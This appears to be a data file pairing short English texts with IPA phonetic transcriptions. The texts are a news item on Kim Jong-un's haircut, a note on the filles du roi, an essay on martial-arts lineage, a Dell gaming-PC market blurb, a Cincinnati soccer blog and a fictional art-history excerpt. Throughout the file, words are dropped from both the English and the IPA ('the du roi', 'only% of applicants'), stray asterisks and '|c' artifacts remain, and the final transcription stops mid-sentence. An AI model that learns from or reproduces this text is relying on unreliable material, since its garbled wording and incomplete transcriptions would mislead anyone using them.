h/t guardian | image via | kɪm, ʧaɪld əv nɔrθ ˌkɔˈriə, həz ə nu ˈhɛrˌkət ˌɪnˈtɛndɪd tɪ kəˈnɛkt ɪm tɪ hɪz ˈgrænˌfɑðər, kɪm il-sung*. kwaɪt ðə trɪk, səm kaɪnd əv ˌəpˈsaɪˌdaʊn ðət ˈpraʊdli dɪˈfaɪz ðə lɔz əv ˈfɪzɪks. haɪ braʊ: ə jɪr əˈpɑrt kɪm ʤɔŋ ˈjuˈɛn ɪn ˈərli 2014 ənd naʊ fræŋk (@frankfeinstein*) ˈfɛbruˌɛri 19 2015 nɑt ðə ˈoʊnli nu kɑzˈmɛtɪk ˈəpˌkip tɪ greɪs ðə naʊ spɔrts ˈaɪˌbraʊz. hu noʊz waɪ? ðə ˈgɑrdiən kɔlz ɪt faɪn ɪgˈzæmpəl əv ˈkɑrənt ləv əv style.”*.” ki li, ˈfaʊndər ənd kriˈeɪtɪv dɪˈrɛktər əv ə ˈləndən səˈlɑn kɔld hurwundekei*, toʊld ðə ˈgɑrdiən ðət ðə nu ɪz ˈpɑsəbəl wɪθ ðə ˈɛfərts əv ənd wæks. nɑt tu ˈizi tɪ du ɔn ˈeɪʒən hɛr, bət wi gɪt ə lɔt əv ˈpipəl ˈkəmɪŋ ˈɪntu ðə səˈlɑn rɪkˈwɛstɪŋ ðɪs sɔrt əv volume,”*,” li sɛd. li ˈædɪd ðət ðə ˈhɛrˌstaɪl wɪl ˌrikˈwaɪər ə nu ˈɛvəri fju mənθs, ɪf tɪ bi meɪnˈteɪnd. əv kɔrs, ɪn ðə min taɪm, ðə ˈɪntərˌnɛt ɪz ˈhævɪŋ ə ˈheɪˌdeɪ: (ˈsɑri, ðɪs ɪmˈbɛd wɑz nɑt faʊnd.) hu wɔr ɪt ˈbɛtər? ɪn ˈəðər nuz, kɪm ʤɔŋ ˈjuˈɛn həz ə nu ˈhɛrˌkət ˈrɑbɪn (@robynurback*) ˈfɛbruˌɛri 19 2015 kɪm ʤɔŋ ˈjuˈɛn həz ə nu ˈhɛrˌkət ənd naʊ hi lʊks laɪk gaɪl frəm strit ˈfaɪtər zæk ˈboʊˌʃɑmp (@zackbeauchamp*) ˈfɛbruˌɛri 19 2015 ˈviə @reddit*: haʊ wʊd ˌoʊˈbɑmə lʊk ɪn ə kɪm ˈhɛrˌkət ˈsæʧən (@sachinkalbag*) ˈfɛbruˌɛri 20 2015 ˌɛnˈlɑrʤd ˈmitɪŋ əv pəˈlɪtɪkəl ˈbjʊroʊ əv c.c*., hɛld ˈəndər ˈgaɪdəns əv kɪm ʤɔŋ ˈjuˈɛn wɔʧ (@kcnawatch*) ˈfɛbruˌɛri 19 2015 ˈgɑrdiən ˈɪmɪʤ ˈviə |
the du roi or the daughters were some 770 women who moved from france to quebec from 1663 and 1673. the idea was to help populate the french colonies which were mostly male and not as populated as the british colonies. the girls came with a dowry and were encouraged to marry and give birth to as many children as possible.
there are two constant rumors with the girls.
the first is that the king encouraged the orphans and prostitutes to move in efforts to clear france of that population.
the second is that the prettiest girls got chosen in the first stop of quebec city, the second prettiest in the second stop of and the third prettiest ended in montreal.
we cannot confirm or deny these rumors. | ðə də rɔɪ ər ðə ˈdɔtərz wər səm 770 ˈwɪmən hu muvd frəm fræns tɪ kwəˈbɛk frəm 1663 ənd 1673 ðə aɪˈdiə wɑz tɪ hɛlp ˈpɑpjəˌleɪt ðə frɛnʧ ˈkɑləniz wɪʧ wər ˈmoʊstli meɪl ənd nɑt ɛz ˈpɑpjəˌleɪtəd ɛz ðə ˈbrɪtɪʃ ˈkɑləniz. ðə gərlz keɪm wɪθ ə ˈdaʊri ənd wər ɪnˈkərəʤd tɪ ˈmɛri ənd gɪv bərθ tɪ ɛz ˈmɛni ˈʧɪldrən ɛz ˈpɑsəbəl. ðɛr ər tu ˈkɑnstənt ˈrumərz wɪθ ðə gərlz. ðə fərst ɪz ðət ðə kɪŋ ɪnˈkərəʤd ðə ˈɔrfənz ənd ˈprɑstəˌtuts tɪ muv ɪn ˈɛfərts tɪ klɪr fræns əv ðət ˌpɑpjəˈleɪʃən. ðə ˈsɛkənd ɪz ðət ðə ˈprɪtiəst gərlz gɑt ˈʧoʊzən ɪn ðə fərst stɑp əv kwəˈbɛk ˈsɪti, ðə ˈsɛkənd ˈprɪtiəst ɪn ðə ˈsɛkənd stɑp əv ənd ðə θərd ˈprɪtiəst ˈɛndɪd ɪn ˌməntriˈɔl. wi ˈkænɑt kənˈfərm ər dɪˈnaɪ ðiz ˈrumərz. |
we all know a guy like this. he spends his day on the internet telling and stories about how his martial ancestors were the toughest fighters in the world. we hear a bunch of stories about the ancestors and they all seem to imply or outright assert that their gives the lineage snob the right to talk trash about other arts. these guys are universally despised and, as a general rule, suck at martial arts. too much time on the keyboard and not enough training. but what if we understood that, while those guys suck, the need for lineage is real and can provide fantastic yardstick to gauge a school or martial artist?
there are going to be 2 basic responses to that statement. the first usually comes from people who have created their own arts or know that their teachers weren't totally legit. their response goes something like, "all you do is talk about lineage! why are you judging me?? bruce lee said to follow your own path!!" etc. the other response is "i told you so!!!" and is almost as obnoxious as the first. this response usually comes from the lineage snobs i mentioned before and, remember, we all hate those guys. but both of those people are wrong and both know it deep down inside.
lineage in martial arts has existed for a thousand years for very good reasons. it's a solid gauge of the effectiveness of the art itself and also proof that there is a complete method for teaching and transmitting the art. effectiveness in usage and proof that the method can produce a strong next generation are vital, obviously and those are two really powerful reasons to care about lineage and they are also more laid back than a lot of people realize. let's use medical care as a here. if you had a terrible disease and you had to pick a doctor for
treatment, would you care where that doctor's education came from? if your options were a harvard graduate who has done extensive education in an effort to be on the forefront of medicine, or someone who took some courses at the community college and then spent some time surfing, which would you pick? more than likely, you would pick the doctor most prepared and able to save your life. he would know the latest treatments and the best medicines to use. a doctor that provides a cure for disease is in some ways similar to a martial arts teacher who provides a way for you to protect yourself and your family - you want to choose the best, either way (well, if you have any common sense that is).
why is the harvard doctor the wiser choice? it has to do with his knowledge, the work he put in to gain that knowledge, and his ability to apply that knowledge to saving your life. to obtain that piece of paper on his wall, doctors who graduate from harvard have to complete years of incredibly intense education, a program that is so tough that only% of applicants are even accepted. graduates go through long, sleepless nights where they work alone or with their classmates trying to understand important ideas and learn how to apply them. they make massive sacrifices, both in time and money, and understand that they will be responsible for other lives as a result of earning their degree. this makes the guy that took a few classes at community college and surfed look like a ridiculous choice. his education is directed by what disease catches his eye, not a master instructor who has spent years honing his ability to communicate important ideas and practices. because of this lack of focused instruction he is often unable to help at all, he just doesn't have the basic tools needed to begin.
let's use another example from the internal martial arts to see if we can clarify even further. everyone who has read any sort of text knows about the, right? the is also called the crease, the section of the torso between the lower abdomen and the thigh. all teachers talk about the but the teachers don't know that they show their lack of knowledge as they do. teachers without a good lineage will talk about how it's the source of power in gong fu but can't explain how or why it works, or even what muscles are involved in using the. meanwhile, properly taught teachers can explain exactly how the works and why. they know that the muscles that run through the tie directly to the lower spine and pelvis, providing a strong path for force generated from the core to travel to the ground and back. they can also provide a plethora of smaller exercises to develop this area and can easily explain the concept without using a slew of esoteric terms that the student doesn't understand.
i could go on and on with different examples of how lineage provides a great indicator of the quality of both the art and the teacher but, instead, i would like to provide some thoughts or ideas from other teachers. here is what byron jacobs has to share, byron is the top for master di in beijing. | wi ɔl noʊ ə gaɪ laɪk ðɪs. hi spɛnz hɪz deɪ ɔn ðə ˈɪntərˌnɛt ˈtɛlɪŋ ənd ˈstɔriz əˈbaʊt haʊ hɪz ˈmɑrʃəl ˈænˌsɛstərz wər ðə ˈtəfəst ˈfaɪtərz ɪn ðə wərld. wi hir ə bənʧ əv ˈstɔriz əˈbaʊt ðə ˈænˌsɛstərz ənd ðeɪ ɔl sim tɪ ˌɪmˈplaɪ ər ˈaʊˈtraɪt əˈsərt ðət ðɛr gɪvz ðə ˈlɪniəʤ snɑb ðə raɪt tɪ tɔk træʃ əˈbaʊt ˈəðər ɑrts. ðiz gaɪz ər ˌjunəˈvərsəli dɪˈspaɪzd ənd, ɛz ə ˈʤɛnərəl rul, sək æt ˈmɑrʃəl ɑrts. tu məʧ taɪm ɔn ðə ˈkiˌbɔrd ənd nɑt ɪˈnəf ˈtreɪnɪŋ. bət wət ɪf wi ˌəndərˈstʊd ðət, waɪl ðoʊz gaɪz sək, ðə nid fər ˈlɪniəʤ ɪz ril ənd kən prəˈvaɪd fænˈtæstɪk ˈjɑrdˌstɪk tɪ geɪʤ ə skul ər ˈmɑrʃəl ˈɑrtɪst? ðɛr ər goʊɪŋ tɪ bi 2 ˈbeɪsɪk rɪˈspɑnsɪz tɪ ðət ˈsteɪtmənt. ðə fərst ˈjuʒəwəli kəmz frəm ˈpipəl hu hæv kriˈeɪtɪd ðɛr oʊn ɑrts ər noʊ ðət ðɛr ˈtiʧərz wərənt ˈtoʊtəli ˈlɛʤɪt. ðɛr rɪˈspɑns goʊz ˈsəmθɪŋ laɪk, "ɔl ju du ɪz tɔk əˈbaʊt ˈlɪniəʤ! waɪ ər ju ˈʤəʤɪŋ mi?? brus li sɛd tɪ ˈfɑloʊ jʊr oʊn pæθ!!" ˌɛtˈsɛtərə. ðə ˈəðər rɪˈspɑns ɪz "aɪ toʊld ju soʊ!!!" ənd ɪz ˈɔlˌmoʊst ɛz ɑbˈnɑkʃəs ɛz ðə fərst. ðɪs rɪˈspɑns ˈjuʒəwəli kəmz frəm ðə ˈlɪniəʤ snɑbz aɪ ˈmɛnʃənd ˌbiˈfɔr ənd, rɪˈmɛmbər, wi ɔl heɪt ðoʊz gaɪz. bət boʊθ əv ðoʊz ˈpipəl ər rɔŋ ənd boʊθ noʊ ɪt dip daʊn ˌɪnˈsaɪd. ˈlɪniəʤ ɪn ˈmɑrʃəl ɑrts həz ɪgˈzɪstəd fər ə ˈθaʊzənd jɪrz fər ˈvɛri gʊd ˈrizənz. ɪts ə ˈsɑləd geɪʤ əv ðə ˈifɛktɪvnəs əv ðə ɑrt ˌɪtˈsɛlf ənd ˈɔlsoʊ pruf ðət ðɛr ɪz ə kəmˈplit ˈmɛθəd fər ˈtiʧɪŋ ənd trænsˈmɪtɪŋ ðə ɑrt. ˈifɛktɪvnəs ɪn ˈjusɪʤ ənd pruf ðət ðə ˈmɛθəd kən ˈproʊdus ə strɔŋ nɛkst ˌʤɛnərˈeɪʃən ər ˈvaɪtəl, ˈɑbviəsli ənd ðoʊz ər tu ˈrɪli ˈpaʊərfəl ˈrizənz tɪ kɛr əˈbaʊt ˈlɪniəʤ ənd ðeɪ ər ˈɔlsoʊ mɔr leɪd bæk ðən ə lɔt əv ˈpipəl ˈriəˌlaɪz. lɛts juz ˈmɛdɪkəl kɛr ɛz ə hir. ɪf ju hæd ə ˈtɛrəbəl dɪˈziz ənd ju hæd tɪ pɪk ə ˈdɔktər fər ˈtritmənt, wʊd ju kɛr wɛr ðət ˈdɑktərz ˌɛʤəˈkeɪʃən keɪm frəm? ɪf jʊr ˈɔpʃənz wər ə ˈhɑrvərd ˈgræʤəˌweɪt hu həz dən ɪkˈstɛnsɪv ˌɛʤəˈkeɪʃən ɪn ən ˈɛfərt tɪ bi ɔn ðə ˈfɔrˌfrənt əv ˈmɛdəsən, ər someone* hu tʊk səm ˈkɔrsɪz æt ðə kəmˈjunɪti ˈkɑlɪʤ ənd ðɛn spɛnt səm taɪm ˈsərfɪŋ, wɪʧ wʊd ju pɪk? mɔr ðən ˈlaɪkli, ju wʊd pɪk ðə ˈdɔktər moʊst priˈpɛrd ənd ˈeɪbəl tɪ seɪv jʊr laɪf. hi wʊd noʊ ðə ˈleɪtəst ˈtritmənts ənd ðə bɛst ˈmɛdəsənz tɪ juz. ə ˈdɔktər ðət prəˈvaɪdz ə kjʊr fər dɪˈziz ɪz ɪn səm weɪz ˈsɪmələr tɪ ə ˈmɑrʃəl ɑrts ˈtiʧər hu prəˈvaɪdz ə weɪ fər ju tɪ prəˈtɛkt ˈjɔrsɛlf ənd jʊr ˈfæməli ju wɔnt tɪ ʧuz ðə bɛst, ˈiðər weɪ (wɛl, ɪf ju hæv ˈɛni ˈkɑmən sɛns ðət ɪz). waɪ ɪz ðə ˈhɑrvərd ˈdɔktər ðə ˈwaɪzər ʧɔɪs? ɪt həz tɪ du wɪθ hɪz ˈnɑlɪʤ, ðə wərk hi pʊt ɪn tɪ geɪn ðət ˈnɑlɪʤ, ənd hɪz əˈbɪləˌti tɪ əˈplaɪ ðət ˈnɑlɪʤ tɪ ˈseɪvɪŋ jʊr life*. tɪ əbˈteɪn ðət pis əv ˈpeɪpər ɔn hɪz wɔl, ˈdɑktərz hu ˈgræʤəˌweɪt frəm ˈhɑrvərd hæv tɪ kəmˈplit jɪrz əv ˌɪnˈkrɛdəbli ˌɪnˈtɛns ˌɛʤəˈkeɪʃən, ə ˈproʊˌgræm ðət ɪz soʊ təf ðət ˈoʊnli əv ˈæplɪkənts ər ˈivɪn ækˈsɛptɪd. ˈgræʤəˌweɪts goʊ θru lɔŋ, sˈlipləs naɪts wɛr ðeɪ wərk əˈloʊn ər wɪθ ðɛr ˈklæsˌmeɪts traɪɪŋ tɪ ˌəndərˈstænd ˌɪmˈpɔrtənt aɪˈdiəz ənd lərn haʊ tɪ əˈplaɪ ðɛm. ðeɪ meɪk ˈmæsɪv ˈsækrəˌfaɪsɪz, boʊθ ɪn taɪm ənd ˈməni, ənd ˌəndərˈstænd ðət ðeɪ wɪl bi riˈspɑnsəbəl fər ˈəðər lɪvz ɛz ə rɪˈzəlt əv ˈərnɪŋ ðɛr dɪˈgri. ðɪs meɪks ðə gaɪ ðət tʊk ə fju ˈklæsɪz æt kəmˈjunɪti ˈkɑlɪʤ ənd sərft lʊk laɪk ə rɪˈdɪkjələs ʧɔɪs. hɪz ˌɛʤəˈkeɪʃən ɪz dɪˈrɛktɪd baɪ wət dɪˈziz ˈkæʧɪz hɪz aɪ, nɑt ə ˈmæstər ˌɪnˈstrəktər hu həz spɛnt jɪrz ˈhoʊnɪŋ hɪz əˈbɪləˌti tɪ kəmˈjunəˌkeɪt ˌɪmˈpɔrtənt aɪˈdiəz ənd ˈpræktɪsɪz. bɪˈkəz əv ðɪs læk əv ˈfoʊkɪst ˌɪnˈstrəkʃən hi ɪz ˈɔfən əˈneɪbəl tɪ hɛlp æt ɔl, hi ʤɪst ˈdəzənt hæv ðə ˈbeɪsɪk tulz ˈnidɪd tɪ bɪˈgɪn. lɛts juz əˈnəðər ɪgˈzæmpəl frəm ðə ˌɪnˈtərnəl ˈmɑrʃəl ɑrts tɪ si ɪf wi kən ˈklɛrəˌfaɪ ˈivɪn ˈfərðər. ˈɛvriˌwən hu həz rɛd ˈɛni sɔrt əv tɛkst noʊz əˈbaʊt ðə, raɪt? ðə ɪz ˈɔlsoʊ kɔld ðə kris, ðə ˈsɛkʃən əv ðə ˈtɔrˌsoʊ bɪtˈwin ðə loʊər ˈæbdəmən ənd ðə θaɪ. ɔl ˈtiʧərz tɔk əˈbaʊt ðə bət ðə ˈtiʧərz doʊnt noʊ ðət ðeɪ ʃoʊ ðɛr læk əv ˈnɑlɪʤ ɛz ðeɪ du. ˈtiʧərz wɪˈθaʊt ə gʊd ˈlɪniəʤ wɪl tɔk əˈbaʊt haʊ ɪts ðə sɔrs əv paʊər ɪn gɔŋ fu bət kænt ɪkˈspleɪn haʊ ər waɪ ɪt wərks, ər ˈivɪn wət ˈməsəlz ər ˌɪnˈvɑlvd ɪn ˈjuzɪŋ ðə. ˈminˌwaɪl, ˈprɑpərli tɔt ˈtiʧərz kən ɪkˈspleɪn ɪgˈzæktli haʊ ðə wərks ənd waɪ. ðeɪ noʊ ðət ðə ˈməsəlz ðət rən θru ðə taɪ dɪˈrɛkli tɪ ðə loʊər spaɪn ənd ˈpɛlvəs, prəˈvaɪdɪŋ ə strɔŋ pæθ fər fɔrs ˈʤɛnərˌeɪtɪd frəm ðə kɔr tɪ ˈtrævəl tɪ ðə graʊnd ənd bæk. ðeɪ kən ˈɔlsoʊ prəˈvaɪd ə ˈplɛθərə əv sˈmɔlər ˈɛksərˌsaɪzɪz tɪ dɪˈvɛləp ðɪs ˈɛriə ənd kən ˈizəli ɪkˈspleɪn ðə ˈkɑnsɛpt wɪˈθaʊt ˈjuzɪŋ ə slu əv ˌɛsəˈtɛrɪk tərmz ðət ðə ˈstudənt ˈdəzənt ˌəndərˈstænd. aɪ kʊd goʊ ɔn ənd ɔn wɪθ ˈdɪfərənt ɪgˈzæmpəlz əv haʊ ˈlɪniəʤ prəˈvaɪdz ə greɪt ˈɪndəˌkeɪtər əv ðə kˈwɑləti əv boʊθ ðə ɑrt ənd ðə ˈtiʧər bət, ˌɪnˈstɛd, aɪ wʊd laɪk tɪ prəˈvaɪd səm θɔts ər aɪˈdiəz frəm ˈəðər ˈtiʧərz. hir ɪz wət ˈbaɪrən ˈʤeɪkəbz həz tɪ ʃɛr, ˈbaɪrən ɪz ðə tɔp fər ˈmæstər di ɪn ˌbeɪˈʒɪŋ. |
the guy who oversees consumer pc for both notebooks and desktops at dell believes that the gaming pc market will be growing in a big way for at least a couple of years. the two main contributing factors are allegedly and gaming. i guess we will be seeing more and stuff coming their way.
in contrast to shrinking overall pc sales, global demand for gaming pcs is heating up and the boom will continue over the next five years, according to consumer product marketing senior vice president raymond wah under dell technologies. electronic sports (e-sports) and (virtual reality) are main growth drivers for gaming pcs, wah said, adding gaming is becoming and this is a global trend. continual gaming content updates push hardware developers to upgrade the specifications of gaming pcs, wah indicated. the number of fans will increase to 145 million in 2017.
discussion | ðə gaɪ hu ˈoʊvərˌsiz kənˈsumər ˈpiˈsi fər boʊθ ˈnoʊtˌbʊks ənd ˈdɛskˌtɑps æt dɛl bɪˈlivz ðət ðə ˈgeɪmɪŋ ˈpiˈsi ˈmɑrkɪt wɪl bi groʊɪŋ ɪn ə bɪg weɪ fər æt list ə ˈkəpəl əv jɪrz. ðə tu meɪn kənˈtrɪbjutɪŋ ˈfæktərz ər əˈlɛʤədli ənd ˈgeɪmɪŋ. aɪ gɛs wi wɪl bi siɪŋ mɔr ənd stəf ˈkəmɪŋ ðɛr weɪ. ɪn ˈkɑntræst tɪ ʃˈrɪŋkɪŋ ˈoʊvərˌɔl ˈpiˈsi seɪlz, ˈgloʊbəl dɪˈmænd fər ˈgeɪmɪŋ ˈpiˈsiz ɪz ˈhitɪŋ əp ənd ðə bum wɪl kənˈtɪnju ˈoʊvər ðə nɛkst faɪv jɪrz, əˈkɔrdɪŋ tɪ kənˈsumər ˈprɑdəkt ˈmɑrkətɪŋ ˈsinjər vaɪs ˈprɛzɪdənt ˈreɪmənd wɑ ˈəndər dɛl tɛkˈnɑləʤiz. ˌɪˌlɛkˈtrɑnɪk spɔrts (e-sports*) ənd (ˈvərʧuəl ˌriˈæləˌti) ər meɪn groʊθ ˈdraɪvərz fər ˈgeɪmɪŋ ˈpiˈsiz, wɑ sɛd, ˈædɪŋ ˈgeɪmɪŋ ɪz bɪˈkəmɪŋ ənd ðɪs ɪz ə ˈgloʊbəl trɛnd. kənˈtɪnjuəl ˈgeɪmɪŋ ˈkɑntɛnt ˈəpˌdeɪts pʊʃ ˈhɑrdˌwɛr dɪˈvɛləpərz tɪ ˈəpˈgreɪd ðə ˌspɛsəfəˈkeɪʃənz əv ˈgeɪmɪŋ ˈpiˈsiz, wɑ ˈɪndəˌkeɪtɪd. ðə ˈnəmbər əv fænz wɪl ˌɪnˈkris tɪ 145 ˈmɪljən ɪn 2017 dɪˈskəʃən |
we grabbed an uber and headed up to early again to have a couple of happy hour beers at the st. clair. what a difference a week makes with the weather. the area was absolutely buzzing with activity in a sea of blue and orange…
after a couple of beers, we made the short walk over to nippert stadium…
fc cincinnati was playing host to louisville city in what has been dubbed the river cities cup. but a lot of the fans have started calling it the dirty river derby, which i really like a whole better. with louisville being just a down, it makes sense that a rivalry has already started to form.
here we go…
goal|c!!
louisville city was awarded what i thought was a pretty cheap penalty when the ball bounced up and brushed an|c hand in the box…
1-1.
and it all kind of went downhill from there pretty quickly…
louisville city were reduced to 10 men just before the end of the half on a second offense…
it was just a gorgeous night for football…
and there was such an incredible atmosphere at match. nippert was rocking all evening despite|c playing from behind for most of the match…
fc cincinnati managed to pull a goal back in just before the minute. we headed out just before the end of injury time. and the match ended to louisville city…
but cincinnati set a new regular season attendance record at match!! i think that cincinnati is definitely embracing their new sports team!
fc next home match is against wilmington on april 30th, which happens to be the five-year anniversary of our very first date. see you at nippert! | wi græbd ən ˈubər ənd ˈhɛdɪd əp tɪ ˈərli əˈgɛn tɪ hæv ə ˈkəpəl əv ˈhæpi aʊər bɪrz æt ðə st*. klɛr. wət ə ˈdɪfərəns ə wik meɪks wɪθ ðə ˈwɛðər. ðə ˈɛriə wɑz ˌæbsəˈlutli ˈbəzɪŋ wɪθ ækˈtɪvɪti ɪn ə si əv blu ənd orange…*… ˈæftər ə ˈkəpəl əv bɪrz, wi meɪd ðə ʃɔrt wɔk ˈoʊvər tɪ ˈnɪpərt stadium…*… ˌsɪnsəˈnæti wɑz pleɪɪŋ hoʊst tɪ ˈluiˌvɪl ˈsɪti ɪn wət həz bɪn dəbd ðə ˈrɪvər ˈsɪtiz kəp. bət ə lɔt əv ðə fænz hæv ˈstɑrtɪd ˈkɔlɪŋ ɪt ðə ˈdərti ˈrɪvər ˈdərbi, wɪʧ aɪ ˈrɪli laɪk ə hoʊl ˈbɛtər. wɪθ ˈluiˌvɪl biɪŋ ʤɪst ə daʊn ɪt meɪks sɛns ðət ə ˈraɪvəlri həz ɔˈrɛdi ˈstɑrtɪd tɪ fɔrm. hir wi go…*… goʊl! ˈluiˌvɪl ˈsɪti wɑz əˈwɔrdɪd wət aɪ θɔt wɑz ə ˈprɪti ʧip ˈpɛnəlti wɪn ðə bɔl baʊnst əp ənd brəʃt ən hænd ɪn ðə box…*… ənd ɪt ɔl kaɪnd əv wɛnt ˈdaʊnˈhɪl frəm ðɛr ˈprɪti quickly…*… ˈluiˌvɪl ˈsɪti wər rɪˈdust tɪ 10 mɛn ʤɪst ˌbiˈfɔr ðə ɛnd əv ðə hæf ɔn ə ˈsɛkənd offense…*… ɪt wɑz ʤɪst ə ˈgɔrʤəs naɪt fər football…*… ənd ðɛr wɑz səʧ ən ˌɪnˈkrɛdəbəl ˈætməsˌfɪr æt mæʧ. ˈnɪpərt wɑz ˈrɑkɪŋ ɔl ˈivnɪŋ dɪˈspaɪt pleɪɪŋ frəm bɪˈhaɪnd fər moʊst əv ðə match…*… ˌsɪnsəˈnæti ˈmænɪʤd tɪ pʊl ə goʊl bæk ɪn ʤɪst ˌbiˈfɔr ðə ˈmɪnət. wi ˈhɛdɪd aʊt ʤɪst ˌbiˈfɔr ðə ɛnd əv ˈɪnʤəri taɪm. ənd ðə mæʧ ˈɛndɪd tɪ ˈluiˌvɪl city…*… bət ˌsɪnsəˈnæti sɛt ə nu ˈrɛgjələr ˈsizən əˈtɛndəns ˈrɛkərd æt mæʧ!! aɪ θɪŋk ðət ˌsɪnsəˈnæti ɪz ˈdɛfənətli ɛmˈbreɪsɪŋ ðɛr nu spɔrts tim! nɛkst hoʊm mæʧ ɪz əˈgɛnst ˈwɪlmɪŋtən ɔn ˈeɪprəl 30th*, wɪʧ ˈhæpənz tɪ bi ðə ˈfaɪvˌjɪr ˌænəˈvərsəri əv ɑr ˈvɛri fərst deɪt. si ju æt ˈnɪpərt! |
in the nineteenth century, the march of progress made it possible for the first time for human science to contemplate and comprehend those phenomena which had long seemed to contravene the laws of nature. within a matter of decades, concepts that had long been viewed as witchcraft or sorcery were laid bare in the terms of a new and secret science, and governments and organizations around the world began to classify, study, and collect all such anomalies. and, just as artists throughout history have turned a critical eye to the events of the day in their work, so too did the artists of this scientific renaissance begin to interpret these new discoveries on canvas.
by the 1870s, paris was the center of the world of anomalous art, and the city stood witness to endless debates about the role of the anomalous in art, or whether such a role existed at all. when in 1874 the famed salon des refused to allow any "works of a nature" to be displayed at their grand exhibition, those artists shut out by the committee organized their own counter-exhibition, to be held at the same time across the river.?", as the show came to be called, was the talk of the parisian press for months, earning equal amounts of curiosity, dismissal, and outright derision, but the exiled gadflies had made their point - the paranormal, the anomalous, and the bizarre had found a place in the world of art and would not be so easily gotten rid of.
"sommes-nous?" held its exhibitions every ten years thereafter, and as time passed the world of anomalous art grew larger. from its beginnings in paris, artists from all across france and europe, and later from the americas and the orient as well, began attending the increasingly prestigious - and increasingly bizarre and difficult to keep hidden from the disdainful eyes of a concerned government - exhibition, expressing new and different interpretations of the role of the anomalous in human life. it was at the sixth decennial exhibition in 1924 that the growing rift between the two largest schools of thought - logical vs. emotional, science vs. faith, old world vs. new - came to a head, for it was at that show that for the first time, the works of the french marcel duchamp would be exhibited alongside those of ruiz marcos, the mexican artist whose themes of magical realism and religious awe intertwined with the viscerally accessible of our world had set art critics worldwide at war with each other.
those who saw the two during the days leading up to the opening of the exhibition said they spent nearly the entire time in heated discussion with one another (in english, for neither spoke the other's mother tongue confidently) about everything under the sun - the importance of the artist in relation to his work, the importance of context, faith, knowledge, law, free will, god, the state, democracy, marxism, the war, the league of nations, and the best way to serve a cup of coffee. it seemed that they might continue bickering throughout the entire exhibition, but as the artists prepared to greet the assembled press on the morning of its grand opening, they appeared to have finally come to an understanding.
if there is one image that comes to the mind of any art historian when the 1924 expo is brought up, it is of that iconic photo of duchamp and ruiz posing side by side with their fellow artists in front of the doors, marcos seemingly leaning over to whisper something into duchamp's ear. for decades, many have speculated on what words marcos had for his colleague during that memorable instant; a question of metaphysics? or a challenge? an affirmation of their coming to terms? a reminder of the reason why they were there at that moment of time? perhaps an expression of amazement at the multitudes that had come to see them? according to one reporter who claimed he stood close enough to overhear that whisper amidst the din of the crowd, it was all five at once, expressed in four simple words;
"are we cool yet?"
- excerpt from the coolest war: memories of a critic, by anonymous | ɪn ðə ˈnaɪnˈtinθ ˈsɛnʧəri, ðə mɑrʧ əv ˈprɑˌgrɛs meɪd ɪt ˈpɑsəbəl fər ðə fərst taɪm fər ˈjumən saɪəns tɪ ˈkɑntəmˌpleɪt ənd ˌkɑmpriˈhɛnd ðoʊz fəˈnɑmənə wɪʧ hæd lɔŋ simd tɪ ˈkɑntrəˌvin ðə lɔz əv ˈneɪʧər. wɪˈθɪn ə ˈmætər əv ˈdɛkeɪdz, ˈkɑnsɛpts ðət hæd lɔŋ bɪn vjud ɛz ˈwɪʧˌkræft ər ˈsɔrsəri wər leɪd bɛr ɪn ðə tərmz əv ə nu ənd ˈsikrɪt saɪəns, ənd ˈgəvərnmənts ənd ˌɔrgənəˈzeɪʃənz əraʊnd ðə wərld bɪˈgæn tɪ ˈklæsəˌfaɪ, ˈstədi, ənd kəˈlɛkt ɔl səʧ əˈnɑməliz. ənd, ʤɪst ɛz ˈɑrtɪsts θruaʊt ˈhɪstəri hæv tərnd ə ˈkrɪtɪkəl aɪ tɪ ðə ɪˈvɛnts əv ðə deɪ ɪn ðɛr wərk, soʊ tu dɪd ðə ˈɑrtɪsts əv ðɪs ˌsaɪənˈtɪfɪk ˌrɛnəˈsɑns bɪˈgɪn tɪ ˌɪnˈtərprət ðiz nu dɪˈskəvəriz ɔn ˈkænvəs. baɪ ðə 1870s*, ˈpɛrɪs wɑz ðə ˈsɛnər əv ðə wərld əv əˈnɑmələs ɑrt, ənd ðə ˈsɪti stʊd ˈwɪtnəs tɪ ˈɛndləs dəˈbeɪts əˈbaʊt ðə roʊl əv ðə əˈnɑmələs ɪn ɑrt, ər ˈwɛðər səʧ ə roʊl ɪgˈzɪstəd æt ɔl. wɪn ɪn 1874 ðə feɪmd səˈlɑn dɪ rɪfˈjuzd tɪ əˈlaʊ ˈɛni "wərks əv ə ˈneɪʧər" tɪ bi dɪˈspleɪd æt ðɛr grænd ˌɛksəˈbɪʃən, ðoʊz ˈɑrtɪsts ʃət aʊt baɪ ðə kəˈmɪti ˈɔrgəˌnaɪzd ðɛr oʊn counter-exhibition*, tɪ bi hɛld æt ðə seɪm taɪm əˈkrɔs ðə ˈrɪvər.?", ɛz ðə ʃoʊ keɪm tɪ bi kɔld, wɑz ðə tɔk əv ðə pərˈɪʒən prɛs fər mənθs, ˈərnɪŋ ˈikwəl əˈmaʊnts əv ˌkjʊriˈɑsəti, dɪsˈmɪsəl, ənd ˈaʊˈtraɪt dərˈɪʒən, bət ðə ˈɛkˌsaɪld ˈgædˌflaɪz hæd meɪd ðɛr pɔɪnt ðə pɛrəˈnɔrməl, ðə əˈnɑmələs, ənd ðə bɪˈzɑr hæd faʊnd ə pleɪs ɪn ðə wərld əv ɑrt ənd wʊd nɑt bi soʊ ˈizəli ˈgɔtən rɪd əv.?" hɛld ɪts ˌɛksəˈbɪʃənz ˈɛvəri tɛn jɪrz ðɛˈræftər, ənd ɛz taɪm pæst ðə wərld əv əˈnɑmələs ɑrt gru ˈlɑrʤər. frəm ɪts bɪˈgɪnɪŋz ɪn ˈpɛrɪs, ˈɑrtɪsts frəm ɔl əˈkrɔs fræns ənd ˈjʊrəp, ənd ˈleɪtər frəm ðə əˈmɛrɪkəz ənd ðə ˈɔriˌɛnt ɛz wɛl, bɪˈgæn əˈtɛndɪŋ ðə ˌɪnˈkrisɪŋgli pərˈstiʤəs ənd ˌɪnˈkrisɪŋgli bɪˈzɑr ənd ˈdɪfəkəlt tɪ kip ˈhɪdən frəm ðə dɪsˈdeɪnfəl aɪz əv ə kənˈsərnd ˈgəvərnmənt ˌɛksəˈbɪʃən, ɪkˈsprɛsɪŋ nu ənd ˈdɪfərənt ˌɪnˌtərprɪˈteɪʃənz əv ðə roʊl əv ðə əˈnɑmələs ɪn ˈjumən laɪf. ɪt wɑz æt ðə sɪksθ dəˈsɛniəl ˌɛksəˈbɪʃən ɪn 1924 ðət ðə groʊɪŋ rɪft bɪtˈwin ðə tu 